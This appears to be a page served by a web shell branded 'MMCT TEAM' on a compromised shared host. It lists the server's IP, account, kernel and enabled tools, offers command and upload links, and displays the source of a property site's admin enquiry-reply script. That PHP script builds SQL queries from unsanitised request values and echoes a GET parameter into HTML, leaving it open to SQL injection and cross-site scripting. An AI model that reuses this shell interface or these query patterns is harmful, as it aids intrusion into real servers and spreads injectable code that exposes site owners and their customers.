MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.118.144.98
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/.trash/../uttamnagarproperties.com/uttam-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/.trash/../uttamnagarproperties.com/uttam-admin/enquiry_reply.php
<?
require_once("../includes/dbsmain.inc.php");
@ob_start();
if(is_post_back()) {
	if($enq_id!='') {
			$sql = "update enquiry_master set mailed_status= 'Active',advt_reply_detail='$advt_reply_detail' where enq_id = '$enq_id'";
		db_query($sql);
		$adv_res=mysqli_fetch_array(db_query("select * from enquiry_master where enq_id='$enq_id'"));
		@extract($adv_res);
		$mail_to="$enq_email";
		
		$mail_from=$_SESSION['ADMIN_EMAIL'];
		$mail_subject="$subject";
		$mail_message="$advt_reply_detail";
		send_email($mail_to, $mail_message, $mail_from, 'html', $mail_subject, '');
		header("Location: enquiry_list.php");
		exit;
	}
}

?>
<link href="styles.css" rel="stylesheet" type="text/css">
<? include("top.inc.php");?>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td id="pageHead"><div id="txtPageHead">
      Send A Reply</div></td>
  </tr>
</table>
<div align="right"><a href="enquiry_list.php">Back to 
       Enquiry List</a>&nbsp;</div>
<form name="form1" method="post" enctype="application/x-www-form-urlencoded" <?= validate_form()?>>
 
  <table width="95%"  border="0" align="center" cellpadding="4" cellspacing="0" class="tableForm">
    <tr>
      <td width="160" class="tdLabel">To:</td>
      <td width="577" class="tdData"><? $enq_email=db_scalar("select enq_email from enquiry_master where enq_id='$id'"); 
	  										echo $enq_email;
	  									?>
	  <input type="hidden" name="comp_mail" value="<?=$enq_email?>">
      </td>
    </tr>
	<tr>
      <td width="160" class="tdLabel">Subject :</td>
      <td width="577" class="tdData"><input type="text" name="subject"  size="35" value="Enquiry Reply" alt="blank" emsg="Please enter your Subject" >
	  	
	  </td>
    </tr>
	
    <tr>
      <td width="160" class="tdLabel" valign="top">Message:</td>
      <td width="577" class="tdData"><textarea name="advt_reply_detail" id="advt_reply_detail"  alt="blank" emsg="Please enter your Message" class="textfield" cols="45" rows="6"><?=$advt_reply_detail?></textarea></td>
    </tr>
    <tr>
	    <td class="tdLabel">&nbsp;</td>
	    <td class="tdData"><input type="hidden" name="enq_id" value="<?=$_GET['id']?>">
		                <input type="image" name="imageField" src="images/buttons/submit.gif" /></td>
    </tr>
  </table>
</form>
<? include("bottom.inc.php");?>

MMCT - 2023